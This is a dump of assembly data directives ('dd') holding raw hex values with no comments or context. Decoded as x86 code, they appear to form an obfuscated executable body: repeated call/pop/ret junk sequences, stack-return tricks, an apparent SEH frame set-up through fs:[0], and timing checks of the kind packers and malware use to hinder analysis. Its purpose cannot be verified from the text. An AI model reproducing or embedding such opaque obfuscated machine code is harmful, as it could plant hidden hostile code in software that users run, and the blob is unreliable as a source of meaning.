0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 77C35545h, 0F9005C4Bh, 6820F60h, 0F000000h, 88h, 0B861FC00h dd 0 dd 52FB8B66h, 2B79BD2Bh, 8D5B0607h, 74B9B8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 4993E6B2h, 8D0FE1FFh, 4, 5B616056h, 3305BD83h, 0F000607h dd 3E984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0C4BF4CCEh, 0AF8C0D6Fh, 870F10BDh dd 5, 0FFD78057h, 5BD835Bh, 1060733h, 3C7840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 127CD8C3h, 5A203C3Fh, 8DBD292Fh, 8306070Eh, 73305BDh dd 860F0306h, 35Bh, 2C59D8Bh, 31600607h, 720218Dh, 68C0F06h dd 8B000000h, 71AC9BDh, 0D98C6606h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 0FADC1301h, 0E180E566h dd 0DA8B6604h, 2A599D8Bh, 0C90A0607h, 99840Fh, 0BF660000h dd 858B1FFDh, 6072A1Dh, 1AFD8533h, 0BF0F0607h, 48950F9h dd 0F98B6624h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 5B2CFEC3h, 3B01E315h, 0A60ABB66h dd 68C0Fh, 9D8B0000h, 6071165h, 24D99F68h, 0DA8B66F2h dd 60240481h, 890DFA2Ah, 725FD85h, 0F995FF06h, 89060709h dd 719219Dh, 0DF858906h, 0E8060AADh, 0Ch, 0C1ABA71Fh, 274D91E5h dd 0EBD57178h, 22A99531h, 0E95B0607h, 1D9h, 0A1F0CF81h dd 8BF547DAh, 0AADD785h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 4243BA0Bh, 359D8B3Ah dd 0C7060722h, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0CEE51CC6h, 0E2F02B76h dd 13EB81DBh, 8B1F6FD3h, 0AADDBB5h, 95896006h, 6070569h dd 0DE9h, 0A309E600h, 52F717BCh, 3C52BB60h, 0F612045h dd 858BDABFh, 6072BCDh, 8B660689h, 0EE9FAh, 2ABD0000h dd 195A324Dh, 44025A95h, 2E7C34D6h, 2A1D858Bh, 89FC0607h dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 20ADBDC3h, 0D991D965h, 0EF79EF81h, 0EE91522h dd 56000000h, 0F34A67F0h, 3CD26DB6h, 0A5CE12C5h, 0BF50F8C0h dd 76AAFF7Bh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 44E3C356h, 0D7B5FF91h dd 8B060AADh, 722CD9Dh, 0D1BD8B06h, 6806071Fh, 52670461h dd 81F98B66h, 79E2434h, 6A5278h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 47C55BC3h, 0BF668EB4h dd 858D5444h, 60AADDFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0C35040h, 8B603F70h, 703ADBDh, 0B58B6006h dd 6072A41h, 6161D38Bh, 11E890h, 22860000h, 0FF28EC2Bh dd 9E8770B8h, 16E28D32h, 5B167D5Ch, 0FB8B6650h, 0FFDD8A90h dd 709F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0AE7ABDE9h, 7C8214B1h, 0B70F567Ch dd 9E961DFh, 54000000h, 0EA1002EEh, 85781BC8h, 330585C7h dd 30607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 145DCEC3h, 0EF59D8Bh, 0BD830607h dd 60AADDFh, 54840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9856C355h dd 8B94F381h, 8E0F4936h, 6, 0AB1B501h, 3BE90607h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 4508C356h, 50FA8BE4h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B81F42C3h dd 8D89A010h, 607091Dh, 6880Fh, 0BD890000h, 60705B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9C35343h, 0E6A0B61Ch dd 6810F11h, 8B000000h, 73029BDh, 5BD8306h, 3060733h, 47B850Fh dd 85890000h, 60702C5h, 0ADF5BF66h, 0ADDFBD83h, 0F00060Ah dd 46484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0DFEB816Ah, 0FF54B751h, 0AADDFB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 8D895680h, 0CA163827h, 212995FFh, 0B58B0607h dd 60AADD3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0B8C35646h, 846F05EDh, 0BDDA4904h, 11FD9589h, 6C70607h dd 10001h, 8B50DA8Bh, 243489D8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 9CC35343h, 4DAD58DFh, 29181CEBh dd 0B70F50A2h, 0B5FF5BD9h, 60AADDFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0A4C35343h, 0D1F4377Fh, 0BD8B0F77h dd 6070AD5h, 9199D8Bh, 95FF0607h, 6070251h, 8BFB8B66h dd 0AADD3B5h, 599D2906h, 80060711h, 858B19DFh, 60712A1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E7C35747h dd 0D98B66F2h, 0C48689h, 95890000h, 6070C79h, 1AD9958Bh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 5D56ECC3h, 837F286Ch, 6A04C2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DE9B3C3h dd 13000000h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A205089h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0CF6FC357h, 0D02B16EBh, 8DD1AB17h, 0AC17085h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0F761A067h, 8BE18A6Ch, 8976B77Eh, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 69E82CE5h, 6A006ACAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8921C352h dd 725B1B5h, 0C7816606h, 0B5FF61F3h, 60AADDFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A0C35343h, 7CBE9585h dd 9195FF18h, 6A060707h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F76EC355h, 4DB61353h dd 0F7C00186h, 8EE78166h, 5250961Dh, 8B66310Fh, 50585AF8h dd 2820F60h, 8B000000h, 669661F9h, 0FF343EBBh, 0AADDFB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 584A4A6Ch, 0C799D8Bh, 9D8B0607h, 6070675h dd 2D0995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 68E000C3h, 14E8C60Ah, 95000000h dd 6ACD3BC0h, 0E3DF2D14h, 8145BF53h, 542B0A57h, 0FB5FE67h dd 295FFFB7h, 707D9B5h, 1DBD8B06h, 8306070Fh, 714C1BDh dd 840F0006h, 10h, 0B213EB81h, 895009D7h, 95892434h, 6071F81h dd 0ADDFB5FFh, 0BF66060Ah, 5E81FDBh, 45000000h, 2C067C4Ch dd 6880Fh, 9D890000h, 60729E9h, 9595FF5Bh, 6A06071Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 1E92C351h, 42BA2801h, 0FE48ECBh, 0C86h, 7E900h, 0BD900000h dd 0D36315DBh, 0DFB5FFCCh, 8B060AADh, 710E59Dh, 0C195FF06h dd 6A060702h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 92A8C355h, 34D1B342h, 9DB531h dd 0BD830607h, 6072865h, 54840F02h, 66000000h, 8BF5DA8Bh dd 70E6985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8D0F67BAh, 6, 14E59D8Bh, 0C60607h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0C7497C45h, 72A5185h, 6, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 6381D9B5h, 8B66531Fh, 0F33CE9DEh, 9E9FFFFh, 0EE000000h dd 2C273152h, 4B59F1B2h, 0BE9C18Bh, 64000000h, 9D6E07CEh dd 0B0D6686Ch, 858DB75Ch, 60718B1h, 23459D33h, 0BB900607h dd 0BE46458h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F6286DC3h, 0F78043A3h, 3840FF9h dd 66000000h, 6AFA8Bh, 2C558529h, 6A0607h, 0BD8B89B3h dd 6071E39h, 9F1858Dh, 0B529060Ch, 60709EDh, 9005C083h dd 9050D98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0DEC35545h, 0F38137B4h, 7044B1A6h, 8B5B589h, 6A0607h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9AC35242h dd 3E4C1F76h, 0FD9D0906h, 6A060725h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 988D6074h dd 0DCEC3FC2h, 2A559D8Bh, 95FF0607h, 6071E3Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 27C35646h, 42C7652Eh dd 0F1DDC296h, 0D59D0B72h, 8D060711h, 0A93D58Dh, 6E906h dd 0F9870000h, 0AD7AB257h, 9D8BD1FFh, 6072F55h, 19BDBD83h dd 0F010607h, 0A385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0F6D666ADh, 2D799D8Bh dd 26A0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 63C35040h, 642D43DBh, 8BAAF77Fh, 712CDBDh, 0F609006h dd 1582h, 0FE800h, 16C00000h, 2FFC0262h, 0E01EE3BCh, 0FB4C4AA6h dd 8B605937h, 506161C3h, 90F88B66h, 28719D8Bh, 95FF0607h dd 6070791h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0E9C35545h, 0DFDB8F6Eh, 0D20E9h, 0E800h, 815D0000h dd 0C09FBEDh, 0C1B50906h, 0E9060704h, 0Dh, 6D46C620h, 0D33C4022h dd 0D8F28597h, 3F858DF9h, 6A060A84h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8783C352h dd 0C59BD0Bh, 5E90607h, 1B000000h, 537A4070h, 89DDB350h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4B1CECC3h, 0E1314403h, 8ADF7060h, 35FF64FAh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D3C35141h dd 0B8BF6657h, 0CE95BFCh, 9E000000h, 0ED479472h, 1345414Ah dd 64F6EE80h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 8D8969C3h, 6072F69h dd 2F5985FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0B7E69EC3h, 31FF6A72h, 72D0D85h dd 25B5FF06h, 0E906071Eh, 0Fh, 0CBDF347h, 69F59ADh, 97BD349Dh dd 0FF9511FFh, 72B8995h, 0F8E906h, 8B660000h, 0BF00B0DAh dd 7C5CA5B9h, 2898D89h, 70E60607h, 9870Fh, 8D0F0000h, 3 dd 0E9E2DF80h, 0Bh, 0D99D5D61h, 0AEF76359h, 0E4D2EE24h dd 31BD0371h, 3C06071Eh, 0B7830F61h, 8B000000h, 0C8B60FF8h dd 0BAF88B66h, 6, 2D2D9D8Bh, 85290607h, 6072AC5h, 0DA8BC18Bh dd 0F504E8C1h, 89E2F766h, 7207195h, 66C82B06h, 0D18BF88Bh dd 0E99D89h, 7BE90607h, 0F8000000h, 4E49858Bh, 81664400h dd 83AEA3C7h, 0BD8B07C0h, 6070BF1h, 0E800C083h, 9, 847497Bh dd 0DE4CBF84h, 4D9D8B00h, 5B060729h, 830FD03Bh, 6, 40E9F9h dd 8D8B0000h, 0FFFFFFFFh, 0E183F98Bh, 2F840F01h, 0F8000000h dd 13059D8Bh, 0A5830607h, 0FFFFFFFFh, 0DE9FEh, 82920000h dd 79D8721Ah, 0EACB4E61h, 8997B771h, 4E4995h, 0FABF0F44h dd 0E9F9h, 0B58D0000h, 60B8C8Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 7C35545h, 5E2190F6h, 6ADFBF0Fh dd 6995FF00h, 2906070Dh, 703E18Dh, 1017B906h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 203243C3h, 0AFE7BF66h, 89FCE183h, 729658Dh, 6AFC06h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 4258BEC3h, 0F5063731h, 0B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 7A6E1AD6h dd 0BA9DA771h, 0 dd 29E18D09h, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 255EC9C3h, 6D9D896Eh, 0D060706h, 88h, 1249BD89h, 958B0607h dd 6071AD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 64C35747h, 89AFDA73h, 719059Dh, 1D8D8B06h, 89060710h dd 725E1BDh, 6890F06h, 8B000000h, 713A9BDh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 5043C352h, 50006AECh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 2D9EE84Bh, 0BD831B11h, 6070E29h dd 41840F00h, 81000000h, 654CA0F7h, 0B8F572h, 8D000000h dd 74B9B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 6602B114h, 29D41ABFh, 720919Dh, 0BBE1FF06h dd 23237F51h, 3305BD83h, 0F000607h, 47C84h, 83F88B00h dd 73305BDh, 840F0106h, 488h, 5E9h, 0F061C300h, 0FA8A9D18h dd 3305BD83h, 0F030607h, 43986h, 0E9BD2900h, 60060713h dd 10A99501h, 8C660607h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 27F937EAh, 5378E964h dd 0CE9DD62h, 75000000h, 1800B63Ch, 0D129D9CDh, 80704A52h dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 660DF9C3h, 9C0BAB6h, 710459Dh, 0C1BD8906h dd 0A06072Ah, 41840FC9h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A966C352h dd 0BE921h, 2CEF0000h, 25FC003Ah, 0A9422094h, 1D858BE5h dd 6A06072Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 8608C350h, 0FD8533F9h, 8B06071Ah dd 9BD8BDEh, 50060711h, 89FE8B66h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C837B3C3h dd 0DB36965Eh, 6A23B7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 44C35040h, 0B50991E8h, 6070ADDh, 0DDD76768h dd 0A3ADBF95h, 48172C1h, 412C9824h, 798D896Ah, 0FF060712h dd 709F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 9FF97FC6h, 5EE0A6E6h, 0ADDF8589h dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 664178C3h, 9B50EF81h, 20BE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0EB8177D5h, 501804C6h, 0ADD7858Bh, 6A060Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 892E23C3h, 0E0A447B5h, 75BD8BACh, 66060711h, 9A33F781h dd 1800C7h, 0B58B0000h, 60AADDBh, 9F85EB81h, 858B1E94h dd 6072BCDh, 2F159D09h, 6890607h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 2BC35646h, 596F100Dh, 0E9205129h dd 0Eh, 5BAA12A9h, 333754FBh, 30AC0C66h, 858BD0A0h, 6072A1Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9CC35141h dd 815893C7h, 1A263EECh, 446891Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 8FC35343h, 0E80AB18Ch, 6, 0D4B05E9Ah dd 0D88BB6E4h, 0FCBF665Bh, 52509620h, 5B5F5053h, 6A965Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E9C893C3h, 7, 5760DEACh, 29584BE3h, 70699BDh, 0D7B5FF06h dd 6A060AADh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0BF91C355h, 0EA87BCB3h, 0D2088555h dd 1A758D29h, 0F6680607h, 0FC6CC79h, 888h, 2850F00h, 52000000h dd 2404815Bh, 39528A09h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 4DC35141h, 38202A1Eh, 0B5890179h, 60712C1h dd 858DF88Bh, 60AADDFh, 0FE9h, 0E7FD9500h, 2DC435FEh, 248539CFh dd 3BC5B77Fh, 0DA8B5650h, 2404895Bh, 0B85BD8Bh, 95FF0607h dd 60709F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 66C35141h, 0BD8B5C73h, 6070CD5h, 0D59D8B61h, 0C7060703h dd 7330585h, 306h, 8B665600h, 0BD835FFEh, 60AADDFh, 6F840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FD7C355h, 0B8Bh, 5850F00h, 0BB000000h dd 572DA139h, 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 4370348Ah, 5D28EAF0h dd 0DE927DEh, 4C000000h, 43F36D51h, 85C4CD45h, 0C9D53FC1h dd 0EED8589h, 30500607h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 14E8C0h, 0AFBA0000h, 0E14FE3BBh dd 0B6989116h, 19229C34h, 6993060Dh, 8589D033h, 6070F05h dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 89818CFFh, 728E18Dh, 5EBB6606h, 5BD835Ah dd 3060733h, 3C6850Fh, 840F0000h, 2, 0BD83FA8Bh, 60AADDFh dd 0B1840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 6816C351h, 0DFB5FFD0h dd 6A060AADh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0DABCC355h, 5F9C3FB2h, 0BB97F28Ah dd 2808DB1Dh, 212995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0DF7A34C3h, 85016DD6h dd 607055Dh, 0ADD3B58Bh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8529DFC3h, 6072835h dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 9E35F8C3h, 0B809610h, 8955D81Eh dd 710D185h, 52505006h, 0BE8310Fh, 50000000h, 45DA41B9h dd 8C1B2CBEh, 5250729Dh, 585A310Fh, 89585A5Fh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4A5A8DC3h, 9D03A848h, 6072A81h, 11E8h, 0C6A98500h, 7E1B964Dh dd 0B39DFF33h, 0A0ABC89Ah, 8B66FEC5h, 0B5FF5FDEh, 60AADDFh dd 18FDBD8Bh, 95FF0607h, 6070251h, 2E5D8D89h, 0B58B0607h dd 60AADD3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0F3C35040h, 9D0BF9B7h, 6070D95h, 12A1858Bh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 7E875C3h, 0EA000000h, 28516132h, 895B616Ah, 70625BDh dd 0C4868906h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0AFF5C353h, 8589518Ch, 60712A5h, 21C1BD8Bh dd 958B0607h, 6071AD9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 45C35545h, 0F7023F78h, 6A04C283h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 1EB3C356h, 0C9CA3FF0h, 0BD8B5521h, 60710CDh, 89205089h dd 72C2985h, 70858D06h, 60060AC1h, 0FA22BF66h, 8961F48Ah dd 0B886h, 10CF8100h, 8B00DDB0h, 50006ADAh, 0E1602BBh dd 0B5FF5B3Ch, 60AADDFh, 79195FFh, 5E90607h, 92000000h dd 19D7180Ah, 0DC60BB50h, 34891AEBh, 0FFDE8B24h, 0AADDFB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 878C6525h, 0FF5ED380h, 72D0995h, 8BCF8106h dd 834D00BBh, 714C1BDh, 840F0006h, 0Bh, 0B589D5B3h, 6071EB5h dd 0FF965096h, 0AADDFB5h, 6820F06h, 0B000000h, 7025D9Dh dd 9595FF06h, 6A06071Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 5FBC352h, 0F5555F6Dh dd 0ADDFB5FFh, 8D29060Ah, 60700A5h, 2C195FFh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 3C22D1C3h, 66A21CB5h, 0C65CD381h, 2BFDBD8Bh, 0BD830607h dd 6072865h, 36840F02h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4C88C352h dd 942BCAB1h, 199D8BDEh, 8B060728h, 70E6985h, 0C606h, 6F1737BBh dd 5185C772h, 6072Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 147AC353h, 0D705E53Dh dd 0E20752FCh, 0FFF420E9h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 4819370Ah dd 23EF63D1h, 0E635EB81h, 0BF0F6F9Bh, 81C18BF9h, 91D2EFC7h dd 0B1858D4Fh, 6A060718h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 36DDC350h, 711E190h dd 0BAEAAA3Bh, 6EDF8166h, 810F51E8h, 2, 505B6160h, 2F9E46BFh dd 2404890Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 8CC35141h, 4EA5F4ABh, 50B57747h, 1DDDBD8Bh, 6A5F0607h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0E83084ABh, 0E983DF0Dh, 8B006A9Dh, 721319Dh dd 1D858D06h, 0F060C19h, 87h, 5C08300h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BCC35646h, 75231EE4h dd 0ABC025B0h, 89F88B50h, 0FA8B2404h, 65B7006Ah, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 79A2FFC3h, 81667A6Bh, 0FFC03BCFh, 71E3D95h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 24650D3Eh, 0AE4850DFh, 0D4BBDFD7h, 8D1B75B0h, 0A93D58Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 80D1FF2Dh, 0BD8303DFh, 60719BDh, 0A1850F01h dd 6A000000h, 8D896002h, 6072D11h, 2870Fh, 59560000h, 9E99061h dd 78000000h, 15F750F4h, 0A8BC46E7h, 14E850h, 4E6F0000h dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h, 0BB664182h dd 905F461Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0A1C35141h, 0BD8BAC22h, 6071519h, 6890Fh, 0B5890000h dd 6073329h, 79195FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0E8C79BC3h, 5DBD8B3Ah dd 6606070Bh, 0A507C381h, 0BD3E9h, 0E800h, 815D0000h, 0C1927EDh dd 7E806h, 228D0000h, 9C91D2A0h, 0E78166E9h, 0E95B568Ah dd 0Bh, 0A86408A7h, 59090C59h, 8D7196B3h, 0A843F85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0F8B604DBh, 0D83EC648h, 0E850F8F5h, 9, 9EA2824Ah, 399209E7h dd 0DA8B66E2h, 2404895Fh, 0EFB36057h, 0FF645B61h, 35h dd 25896400h, 0 dd 89FEBF0Fh, 7059985h, 5985FF06h, 0B306072Fh, 66FF6A1Fh dd 0B5FFD98Bh, 6070A21h, 2C618589h, 0BB660607h, 95FFB4BEh dd 6072B89h, 135E9h, 0D8B70F00h, 70E600B0h, 14E9h, 0E885F500h dd 89A0BF08h, 1B5B0AE7h, 30B9B18Dh, 0C8FC75F7h, 0E871E4EDh dd 0Dh, 0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 57EF8094h, 0F613C5Bh dd 0F583h, 6820F00h, 29000000h, 726619Dh, 0C8B60F06h, 0BADA8B66h dd 6, 5630BB66h, 25B7C18Bh, 0F04E8C1h, 583h, 0F3C1BB00h dd 8D8961D8h, 6070085h, 0BBE2F766h, 2649F919h, 880FC82Bh dd 6, 2FF9BD8Bh, 0D18B0607h, 2D35BD8Bh, 0D7810607h, 65DEB335h dd 99E9h, 0D59D8B00h, 8B060721h, 5F4C4C85h, 0D7816650h dd 0C083B35Ah, 61BD8B07h, 8306070Dh, 0EB8100C0h, 175D7B43h dd 830FD03Bh, 0Dh, 67E9FE8Bh, 89000000h, 7058995h, 0FF8D8B06h dd 0E8FFFFFFh, 10h, 55E1EC52h, 97E517CAh, 2DFAEDB7h, 9C7F83B5h dd 7E9h, 26062600h, 54223952h, 1E1835Fh, 30840Fh, 0B5890000h dd 6070ED9h, 0FFFFA583h, 0E8FEFFFFh, 0Ah, 499BB94Ah, 30ED25A7h dd 0B70F769Bh, 95895FD8h, 505F4C4Ch, 0EDDDC7BBh, 0E953h dd 0B58D0000h, 60B9CA5h, 7E9h, 5A703500h, 0FAD0B85Fh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0D9AB5FC3h, 0DB3C086Fh, 80736F4Ah, 95FFBAC7h, 6070D69h dd 6DB9DA8Bh, 0BB00000Eh, 9D3F084h, 0FCFCE183h, 2E5D8D89h dd 0C02B0607h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0DFC35242h, 1EB576F0h, 0FB8BFB8Bh, 2BFA8B66h, 8DB589D2h dd 0AD060704h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 21FFC355h, 0C3802833h, 8E888h, 58C0000h, 0EC4E88E8h dd 0FE8A1FBDh, 0FB8B665Bh, 0B4EF8166h, 880DDFh, 8E90000h dd 0C000000h, 0FFA3929Bh, 8B4B4D8Dh, 71AD995h, 3D853106h dd 8B060710h, 7101D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8A5C64ACh, 0C28B50DAh 